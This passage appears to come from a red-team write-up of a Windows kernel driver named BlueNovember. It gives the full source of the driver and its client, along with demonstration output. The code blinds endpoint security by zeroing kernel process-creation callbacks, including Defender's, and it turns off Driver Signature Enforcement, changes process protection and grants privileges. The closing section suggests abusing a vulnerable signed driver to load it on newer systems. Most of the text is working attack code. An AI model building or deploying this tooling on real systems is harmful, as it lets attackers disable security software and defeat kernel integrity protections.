		if (stack->Parameters.DeviceIoControl.OutputBufferLength <
szBuffer)
		{
			status = STATUS_BUFFER_TOO_SMALL;
			KdPrint(("[!] STATUS_BUFFER_TOO_SMALL\n"));
			break;
		}

		CALLBACK_INFORMATION* userBuffer =
(CALLBACK_INFORMATION*)Irp->UserBuffer;

		if (userBuffer == nullptr)
		{
			status = STATUS_INVALID_PARAMETER;
			KdPrint(("[!] STATUS_INVALID_PARAMETER\n"));
			break;
		}

		ULONG64 pspSetCreateProcessNotify =
FindPspSetCreateProcessNotify(windowsVersion);

		if (pspSetCreateProcessNotify == 0)
		{
			status = STATUS_NOT_FOUND;
```

```
                break;
            }

            for (ULONG i = 0; i < 64; i++)
            {
                // 64 bit addresses are 8 bytes
                ULONG64 pCallback = pspSetCreateProcessNotify + (i * 8);
                ULONG64 callback = *(PULONG64)(pCallback);

                userBuffer[i].Pointer = callback;

                if (callback > 0)
                {
                    SearchLoadedModules(&userBuffer[i]);
                }

                length += sizeof(CALLBACK_INFORMATION);
            }

            break;
        }
        case BLUE_NOVEMBER_ZERO_PROCESS_CALLBACK:
        {
            if (stack->Parameters.DeviceIoControl.InputBufferLength <
sizeof(TargetCallback))
            {
                status = STATUS_BUFFER_TOO_SMALL;
                KdPrint(("[!] STATUS_BUFFER_TOO_SMALL\n"));
                break;
            }

            TargetCallback* target = (TargetCallback*)stack-
>Parameters.DeviceIoControl.Type3InputBuffer;

            if (target == nullptr)
            {
                status = STATUS_INVALID_PARAMETER;
                KdPrint(("[!] STATUS_INVALID_PARAMETER\n"));
                break;
            }

            // sanity check value
            if (target->Index < 0 || target->Index > 64)
            {
                status = STATUS_INVALID_PARAMETER;
                KdPrint(("[!] STATUS_INVALID_PARAMETER\n"));
```

```
                break;
            }

            ULONG64 pspSetCreateProcessNotify =
FindPspSetCreateProcessNotify(windowsVersion);

            // iterate over until we hit target index
            for (LONG i = 0; i < 64; i++)
            {
                if (i == target->Index)
                {
                    ULONG64 pCallback = pspSetCreateProcessNotify +
(i * 8);
                    *(PULONG64)(pCallback) = (ULONG64)0;

                    break;
                }
            }

            break;
        }
        case BLUE_NOVEMBER_ADD_PROCESS_CALLBACK:
        {
            if (stack->Parameters.DeviceIoControl.InputBufferLength <
sizeof(NewCallback))
            {
                status = STATUS_BUFFER_TOO_SMALL;
                KdPrint(("[!] STATUS_BUFFER_TOO_SMALL\n"));
                break;
            }

            NewCallback* newCallback = (NewCallback*)stack-
>Parameters.DeviceIoControl.Type3InputBuffer;

            if (newCallback == nullptr)
            {
                status = STATUS_INVALID_PARAMETER;
                KdPrint(("[!] STATUS_INVALID_PARAMETER\n"));
                break;
            }

            ULONG64 pspSetCreateProcessNotify =
FindPspSetCreateProcessNotify(windowsVersion);

            // iterate over until we hit target index
            for (LONG i = 0; i < 64; i++)
```

```
		{
			if (i == newCallback->Index)
			{
				ULONG64 pCallback = pspSetCreateProcessNotify +
(i * 8);
				*(PULONG64)(pCallback) = newCallback->Pointer;

				break;
			}
		}

		break;
	}
	case BLUE_NOVEMBER_ENUM_DSE:
	{
		if (stack->Parameters.DeviceIoControl.InputBufferLength <
sizeof(DSE))
		{
			status = STATUS_BUFFER_TOO_SMALL;
			KdPrint(("[!] STATUS_BUFFER_TOO_SMALL\n"));
			break;
		}

		DSE* dse = (DSE*)stack-
>Parameters.DeviceIoControl.Type3InputBuffer;

		if (dse == nullptr)
		{
			status = STATUS_INVALID_PARAMETER;
			KdPrint(("[!] STATUS_INVALID_PARAMETER\n"));
			break;
		}

		ULONG szBuffer = sizeof(ULONG);

		if (stack->Parameters.DeviceIoControl.OutputBufferLength <
szBuffer)
		{
			status = STATUS_BUFFER_TOO_SMALL;
			KdPrint(("[!] STATUS_BUFFER_TOO_SMALL\n"));
			break;
		}

		ULONG* userBuffer = (ULONG*)Irp->UserBuffer;
		*userBuffer = *(PULONG)(dse->Address);
```

```
			break;
		}
		case BLUE_NOVEMBER_DISABLE_DSE:
		{
			if (stack->Parameters.DeviceIoControl.InputBufferLength <
sizeof(DSE))
			{
				status = STATUS_BUFFER_TOO_SMALL;
				KdPrint(("[!] STATUS_BUFFER_TOO_SMALL\n"));
				break;
			}

			DSE* dse = (DSE*)stack-
>Parameters.DeviceIoControl.Type3InputBuffer;

			if (dse == nullptr)
			{
				status = STATUS_INVALID_PARAMETER;
				KdPrint(("[!] STATUS_INVALID_PARAMETER\n"));
				break;
			}

			*(PULONG64)(dse->Address) = (ULONG)0x00e;

			break;
		}
		case BLUE_NOVEMBER_ENABLE_DSE:
		{
			if (stack->Parameters.DeviceIoControl.InputBufferLength <
sizeof(DSE))
			{
				status = STATUS_BUFFER_TOO_SMALL;
				KdPrint(("[!] STATUS_BUFFER_TOO_SMALL\n"));
				break;
			}

			DSE* dse = (DSE*)stack-
>Parameters.DeviceIoControl.Type3InputBuffer;

			if (dse == nullptr)
			{
				status = STATUS_INVALID_PARAMETER;
				KdPrint(("[!] STATUS_INVALID_PARAMETER\n"));
				break;
			}
```

```
			*(PULONG64)(dse->Address) = (ULONG)0x006;

			break;
		}

		default:
			status = STATUS_INVALID_DEVICE_REQUEST;
			KdPrint(("[!] STATUS_INVALID_DEVICE_REQUEST\n"));
			break;
		}

		Irp->IoStatus.Status = status;
		Irp->IoStatus.Information = length;

		IoCompleteRequest(Irp, IO_NO_INCREMENT);

		return status;
}

ULONG64
FindPspSetCreateProcessNotify(
		WINDOWS_VERSION WindowsVersion)
{
		UNICODE_STRING functionName;
		RtlInitUnicodeString(&functionName,
L"PsSetCreateProcessNotifyRoutine");

		ULONG64 psSetCreateProcessNotify = 0;
		psSetCreateProcessNotify =
(ULONG64)MmGetSystemRoutineAddress(&functionName);

		if (psSetCreateProcessNotify == 0)
		{
			KdPrint(("[!] Failed to find PsSetCreateProcessNotifyRoutine\n"));
			return 0;
		}

		KdPrint(("[+] PsSetCreateProcessNotifyRoutine found @ 0x%llX\n",
psSetCreateProcessNotify));

		ULONG64   i = 0;
		ULONG64 pspSetCreateProcessNotify = 0;
		LONG offset = 0;

		// Search for CALL/JMP
```

```
	for (i = psSetCreateProcessNotify; i < psSetCreateProcessNotify +
0x14; i++)
	{
		if ((*(PUCHAR)i == PSP_OPCODE[WindowsVersion]))
		{
			KdPrint(("[+] CALL/JMP found @ 0x%llX\n", i));
			RtlCopyMemory(&offset, (PUCHAR)(i + 1), 4);
			pspSetCreateProcessNotify = i + offset + 5;
			break;
		}
	}

	if (pspSetCreateProcessNotify == 0)
	{
		KdPrint(("[+] Failed to find
PspSetCreateProcessNotifyRoutine\n"));
		return 0;
	}

	KdPrint(("[+] PspSetCreateProcessNotifyRoutine found @ 0x%llX\n",
pspSetCreateProcessNotify));

	// Search for LEA
	offset = 0;
	for (i = pspSetCreateProcessNotify; i < pspSetCreateProcessNotify +
0x64; i++)
	{
		if ((*(PUCHAR)i == OPCODE_LEA))
		{
			KdPrint(("[+] LEA found @ 0x%llX\n", i));
			RtlCopyMemory(&offset, (PUCHAR)(i + 2), 4);

			ULONG64 pArray = i + offset + 6;
			KdPrint(("[+] PspSetCreateProcessNotifyRoutine array
found @ 0x%llX\n", pArray));
			return pArray;
		}
	}

	return 0;
}

void
SearchLoadedModules(
	CALLBACK_INFORMATION* ModuleInfo)
{
```

```
	NTSTATUS status = AuxKlibInitialize();

	if (!NT_SUCCESS(status))
	{
		KdPrint(("[!] AuxKlibInitialize failed (0x%08X)", status));
		return;
	}

	ULONG szBuffer = 0;

	// run once to get required buffer size
	status = AuxKlibQueryModuleInformation(
		&szBuffer,
		sizeof(AUX_MODULE_EXTENDED_INFO),
		NULL);

	if (!NT_SUCCESS(status))
	{
		KdPrint(("[!] AuxKlibQueryModuleInformation failed (0x%08X)",
status));
		return;
	}

	// allocate memory
	AUX_MODULE_EXTENDED_INFO* modules =
(AUX_MODULE_EXTENDED_INFO*)ExAllocatePoolWithTag(
		PagedPool,
		szBuffer,
		BLUE_NOVEMBER_TAG);

	if (modules == nullptr)
	{
		status = STATUS_INSUFFICIENT_RESOURCES;
		return;
	}

	RtlZeroMemory(modules, szBuffer);

	// run again to get the info
	status = AuxKlibQueryModuleInformation(
		&szBuffer,
		sizeof(AUX_MODULE_EXTENDED_INFO),
		modules);

	if (!NT_SUCCESS(status))
	{
```

```
		KdPrint(("[!] AuxKlibQueryModuleInformation failed (0x%08X)",
status));
		ExFreePoolWithTag(modules, BLUE_NOVEMBER_TAG);
		return;
	}

	// iterate over each module
	ULONG numberOfModules = szBuffer /
sizeof(AUX_MODULE_EXTENDED_INFO);

	for (ULONG i = 0; i < numberOfModules; i++)
	{
		ULONG64 startAddress =
(ULONG64)modules[i].BasicInfo.ImageBase;
		ULONG imageSize = modules[i].ImageSize;
		ULONG64 endAddress = (ULONG64)(startAddress + imageSize);

		ULONG64 rawPointer = *(PULONG64)(ModuleInfo->Pointer &
0xfffffffffffffff8);

		if (rawPointer > startAddress && rawPointer < endAddress)
		{
			strcpy(ModuleInfo->ModuleName,
(CHAR*)(modules[i].FullPathName + modules[i].FileNameOffset));
			break;
		}
	}

	ExFreePoolWithTag(modules, BLUE_NOVEMBER_TAG);
	return;
}

NTSTATUS
CreateClose(
	_In_ PDEVICE_OBJECT DeviceObject,
	_In_ PIRP Irp)
{
	UNREFERENCED_PARAMETER(DeviceObject);

	Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = 0;

	IoCompleteRequest(Irp, IO_NO_INCREMENT);

	return STATUS_SUCCESS;
}
```

```
void
DriverCleanup(
	PDRIVER_OBJECT DriverObject)
{
	IoDeleteSymbolicLink(&symlink);
	IoDeleteDevice(DriverObject->DeviceObject);
}

WINDOWS_VERSION
GetWindowsVersion()
{
	RTL_OSVERSIONINFOW info;
	info.dwOSVersionInfoSize = sizeof(info);

	NTSTATUS status = RtlGetVersion(&info);

	if (!NT_SUCCESS(status))
	{
		KdPrint(("[!] RtlGetVersion failed (0x%08X)\n", status));
		return WINDOWS_UNSUPPORTED;
	}

	KdPrint(("[+] Windows Version %d.%d\n", info.dwMajorVersion,
info.dwBuildNumber));

	if (info.dwMajorVersion != 10)
	{
		return WINDOWS_UNSUPPORTED;
	}

	switch (info.dwBuildNumber)
	{
	case 19045:
		return WINDOWS_22H2;

	default:
		return WINDOWS_UNSUPPORTED;
	}
}
```

Client.cpp -

```
#include <Windows.h>
#include <stdio.h>
```

```
#include "Winternal.h"

#include "..\BlueNovember\IOCTLs.h"
#include "..\BlueNovember\Common.h"

ULONG64 GetCiOptionsAddress();
PVOID GetModuleBase(LPCSTR moduleName);

int main(int argc, const char* argv[])
{
    // check arg length
    if (argc < 2)
    {
        printf("Usage:  Client.exe <option>\n");
        return 1;
    }

    // open handle
    printf("[+] Opening handle to driver...");
    HANDLE hDriver = CreateFile(
        L"\\\\.\\BlueNovember",
        GENERIC_WRITE,
        FILE_SHARE_WRITE,
        nullptr,
        OPEN_EXISTING,
        0,
        nullptr);

    if (hDriver == INVALID_HANDLE_VALUE)
    {
        printf("failed! (%d)\n", GetLastError());
        return 1;
    }
    else
    {
        printf("success!\n");
    }

    if (strcmp(argv[1], "-pp") == 0)
    {
        // protect process
        printf("[+] Calling BLUE_NOVEMBER_DEVICE_PROTECT_PROCESS...");

        TargetCallback target;
        target.Index = atoi(argv[2]);
```

```
    BOOL success = DeviceIoControl(
        hDriver,
        BLUE_NOVEMBER_PROTECT_PROCESS,
        &target,
        sizeof(target),
        nullptr,
        0,
        nullptr,
        nullptr);

    if (success)
    {
        printf("success!\n");
    }
    else
    {
        printf("failed\n");
    }
}
else if (strcmp(argv[1], "-up") == 0)
{
    // unprotect process
    printf("[+] Calling BLUE_NOVEMBER_DEVICE_UNPROTECT_PROCESS...");

    TargetCallback target;
    target.Index = atoi(argv[2]);

    BOOL success = DeviceIoControl(
        hDriver,
        BLUE_NOVEMBER_UNPROTECT_PROCESS,
        &target,
        sizeof(target),
        nullptr,
        0,
        nullptr,
        nullptr);

    if (success)
    {
        printf("success!\n");
    }
    else
    {
        printf("failed\n");
    }
}
```

```
else if (strcmp(argv[1], "-t") == 0)
{
    // enable privs
    TargetCallback target;
    target.Index = atoi(argv[2]);

    printf("[+] Calling BLUE_NOVEMBER_PROCESS_PRIVILEGE...");

    BOOL success = DeviceIoControl(
        hDriver,
        BLUE_NOVEMBER_PROCESS_PRIVILEGE,
        &target,
        sizeof(target),
        nullptr,
        0,
        nullptr,
        nullptr);

    if (success)
    {
        printf("success!\n");
    }
    else
    {
        printf("failed\n");
    }
}
else if (strcmp(argv[1], "-l") == 0)
{
    // list callbacks
    CALLBACK_INFORMATION callbacks[64];
    RtlZeroMemory(callbacks, sizeof(callbacks));

    printf("[+] Calling BLUE_NOVEMBER_ENUM_PROCESS_CALLBACK...");

    DWORD bytesReturned;
    BOOL success = DeviceIoControl(
        hDriver,
        BLUE_NOVEMBER_ENUM_PROCESS_CALLBACKS,
        nullptr,
        0,
        &callbacks,
        sizeof(callbacks),
        &bytesReturned,
        nullptr);
```

```
        if (success)
        {
            printf("success!\n\n");

            LONG numberOfCallbacks = bytesReturned /
sizeof(CALLBACK_INFORMATION);

            for (LONG i = 0; i < numberOfCallbacks; i++)
            {
                if (callbacks[i].Pointer > 0)
                {
                    printf("[%d] 0x%llX (%s)\n", i, callbacks[i].Pointer,
callbacks[i].ModuleName);
                }
            }
        }
        else
        {
            printf("failed\n");
        }
    }
    else if (strcmp(argv[1], "-r") == 0)
    {
        // remove callback
        TargetCallback target;
        target.Index = atoi(argv[2]);

        printf("[+] Calling BLUE_NOVEMBER_ZERO_PROCESS_CALLBACK...");

        BOOL success = DeviceIoControl(
            hDriver,
            BLUE_NOVEMBER_ZERO_PROCESS_CALLBACK,
            &target,
            sizeof(target),
            nullptr,
            0,
            nullptr,
            nullptr);

        if (success)
        {
            printf("success!\n");
        }
        else
        {
            printf("failed\n");
```

```
    }
}
else if (strcmp(argv[1], "-ci") == 0)
{
    // enum dse
    DSE dse;
    dse.Address = GetCiOptionsAddress();

    printf("[+] Calling BLUE_NOVEMBER_ENUM_DSE...");

    auto buf = malloc(sizeof(ULONG));
    RtlZeroMemory(buf, sizeof(buf));

    DWORD bytesReturned;
    BOOL success = DeviceIoControl(
        hDriver,
        BLUE_NOVEMBER_ENUM_DSE,
        &dse,
        sizeof(dse),
        &buf,
        sizeof(buf),
        &bytesReturned,
        nullptr);

    if (success)
    {
        printf("success!\n\n");
        printf("DSE Setting: 0x%04X\n", buf);
    }
    else
    {
        printf("failed\n");
    }

    free(buf);
}
else if (strcmp(argv[1], "-ciE") == 0)
{
    // enable dse
    DSE dse{};
    dse.Address = GetCiOptionsAddress();

    printf("[+] Calling BLUE_NOVEMBER_ENABLE_DSE...");

    BOOL success = DeviceIoControl(
        hDriver,
```

```
        BLUE_NOVEMBER_ENABLE_DSE,
        &dse,
        sizeof(dse),
        nullptr,
        0,
        nullptr,
        nullptr);

    if (success)
    {
        printf("success!\n\n");
    }
    else
    {
        printf("failed\n");
    }
}
else if (strcmp(argv[1], "-ciD") == 0)
{
    // disable dse
    DSE dse;
    dse.Address = GetCiOptionsAddress();

    printf("[+] Calling BLUE_NOVEMBER_DISABLE_DSE...");

    BOOL success = DeviceIoControl(
        hDriver,
        BLUE_NOVEMBER_DISABLE_DSE,
        &dse,
        sizeof(dse),
        nullptr,
        0,
        nullptr,
        nullptr);

    if (success)
    {
        printf("success!\n\n");
    }
    else
    {
        printf("failed\n");
    }
}
else
{
```

```
        printf("[!] Unknown option\n");
    }

    CloseHandle(hDriver);
}

ULONG64 GetCiOptionsAddress()
{
    PVOID kModuleBase = GetModuleBase("CI.dll");

    HMODULE uCi = LoadLibraryEx(L"ci.dll", NULL,
DONT_RESOLVE_DLL_REFERENCES);
    printf("[+] Userland CI.dll @ 0x%llp\n", uCi);

    FARPROC uCiInit = GetProcAddress(uCi, "CiInitialize");
    printf("[+] Userland CI!CiInitialize @ 0x%llp\n", uCiInit);

    ULONG64 ciInitOffset = (ULONG64)uCiInit - (ULONG64)uCi;
    printf("[+] CI!CiInitialize offset is 0x%llX\n", ciInitOffset);

    ULONG64 kCiInit = ((ULONG64)uCiInit - (ULONG64)uCi) +
(ULONG64)kModuleBase;
    printf("[+] Kernel CI!CiInitialize @ 0x%llX\n", kCiInit);

    ULONG64 ciOptions = kCiInit - (ULONG64)0x9418;
    printf("[+] g_CiOptions @ 0x%llX\n", ciOptions);

    return ciOptions;
}

PVOID GetModuleBase(LPCSTR moduleName)
{
    // find NtQuerySystemInformation
    HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
    _NtQuerySystemInformation ntQuerySystemInformation =
(_NtQuerySystemInformation)GetProcAddress(hNtdll,
"NtQuerySystemInformation");

    // get required buffer size
    ULONG length;
    NTSTATUS status = ntQuerySystemInformation(
        SystemModuleInformation,
        NULL,
        0,
        &length);
```

```
    // allocate memory
    PSYSTEM_MODULE_INFORMATION moduleInfo =
(PSYSTEM_MODULE_INFORMATION)malloc(length);
    RtlZeroMemory(moduleInfo, length);

    // get module information
    status = ntQuerySystemInformation(
        SystemModuleInformation,
        moduleInfo,
        length,
        &length);

    // iterate over each module
    PVOID pModule = nullptr;
    for (LONG i = 0; i < moduleInfo->ModulesCount; i++)
    {
        if (strstr(moduleInfo->Modules[i].ImageName, moduleName) != NULL)
        {
            printf("[+] %s found @ 0x%llX\n", moduleInfo-
>Modules[i].ImageName, moduleInfo->Modules[i].Base);
            pModule = moduleInfo->Modules[i].Base;
            break;
        }
    }

    // free memory
    free(moduleInfo);

    return pModule;
}
```

Results -

- **Protect processes : -pp <PID of processes>**

Terminal output-

```
C:\BlueNovember>.\Client.exe -pp 2676
[+] Opening handle to driver...success!
[+] Calling BLUE_NOVEMBER_DEVICE_PROTECT_PROCESS...success!
```

kernel output-

```
[+] Windows Version 10.19045
[+] Got EPROCESS for PID 2676 (0xFFFF8508B04A5080)
[+] Setting Process Protection for PID 2676
[+] Windows Version 10.19045
[+] PsSetCreateProcessNotifyRoutine found @ 0xFFFFF80166390A30
[+] CALL/JMP found @ 0xFFFFF80166390A40
[+] PspSetCreateProcessNotifyRoutine found @ 0xFFFFF8012ABC5245
```

- **Unprotect Process : -up <PID of processes>**

Terminal output-

```
C:\BlueNovember>.\Client.exe -up 704
[+] Opening handle to driver...success!
[+] Calling BLUE_NOVEMBER_DEVICE_UNPROTECT_PROCESS...success!

C:\BlueNovember>
```

Kernel output -

```
[+] Windows Version 10.19045
[+] Got EPROCESS for PID 704 (0xFFFFE607674A4240)
[+] Removing Process Protection for PID 704
```

- **Grant all privilege : -t <PID of process>**

Terminal output-

```
C:\BlueNovember>.\Client.exe -t 4404
[+] Opening handle to driver...success!
[+] Calling BLUE_NOVEMBER_PROCESS_PRIVILEGE...success!
```

Kernel output-

```
[+] Windows Version 10.19045
08/09/2023 18:12:40.00000194:Deleted GP object
```

- **Enumerate kernel callbacks : -l**

Terminal output-

```
[0] 0xFFFF8A897285266F (ntoskrnl.exe)
[1] 0xFFFF8A89729D7C6F (cng.sys)
[2] 0xFFFF8A8972EFFDEF (WdFilter.sys)
[3] 0xFFFF8A8972EFFE4F (ksecdd.sys)
[4] 0xFFFF8A89740F715F (tcpip.sys)
[5] 0xFFFF8A897414D73F (iorate.sys)
[6] 0xFFFF8A897414D88F (CI.dll)
[7] 0xFFFF8A897414DC1F (dxgkrnl.sys)
[8] 0xFFFF8A89785FC7AF (peauth.sys)
[9] 0xFFFF8A89790A1E1F (NotSysmon.sys)
```

- **Remove callbacks : -r <process no>**
- **Enumerate DSE : -ci**

Terminal output-

```
C:\BlueNovember>.\Client.exe -ci
[+] Opening handle to driver...success!
[+] \SystemRoot\system32\CI.dll found @ 0xFFFFF8044E430000
[+] Userland CI.dll @ 0x00007FF9E6BE0000
[+] Userland CI!CiInitialize @ 0x00007FF9E6C24400
[+] CI!CiInitialize offset is 0x44400
[+] Kernel CI!CiInitialize @ 0xFFFFF8044E474400
[+] g_CiOptions @ 0xFFFFF8044E46AFE8
[+] Calling BLUE_NOVEMBER_ENUM_DSE...success!

DSE Setting: 0x27117
```

Kernel output -

```
[+] Windows Version 10.19045
```

- **Enable DSE : -ciE** This option enables DSE of the driver.
- **Disable DSE : -ciD** This option disables DSE of the driver.

Conclusion

This driver is capable of disabling kernel callbacks and toggle kernel protection status of processes. Moreover this driver is created for demonstration purposes that even with many protections in place, the windows 10 kernel can be breached. Although the attacker or red teamer

may not get the desired result every time due to random chances, the likelihood is still high.

Drawbacks/Objectives To Improve On

- The kernel is a very delicate process.Even a small misstep or a memory leak can cause in a devastating system crash leading to loss of precious data.
- Using a driver tends to tamper with **KPP protected areas**. As the driver is based on a race condition, the chance of the driver being detected and KPP throwing a **BSOD**(Blue screen of Death) is random.
- Since version 10 1607, Windows will **not load** a kernel-mode driver unless it's signed via the Microsoft Dev Portal. For developers, this first means obtaining an extended validation (EV) code signing certificate from a provider such as DigiCert, GlobalSign, and others. They must then apply to join the Windows Hardware Dev Center program by submitting their EV cert and going through a further vetting process. Assuming they get accepted, a driver needs to be signed by the developer with their EV cert and uploaded to the Dev Portal to be approved and signed by Microsoft. This fairly rigorous process is to protect Windows from malicious and/or unstable code running in the kernel which this driver totally is. And a lack of code-signed certificate means that this driver will work only from **Windows 10 19045 (22H2)** and below aka the final long term supported version of Windows 10 .
- Windows 11 will outright **block** the driver from even loading due to its TPM 2.0 and secure boot enforcement. But this can be mitigated either with a proper code signing certificate or exploiting known CVEs such as **CVE-2018-10320** for gigabyte driver which allows injection of third party driver processes into the driver updater application.
- In windows version 22H2, microsoft has **randomised the offset of LEA** instruction. Thus enumerating and removing kernel callbacks will **likely fail 90% of the time**.But for all versions below 22H2, these functions work fine.

References

- https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals
- https://training.zeropointsecurity.co.uk - offensive driver development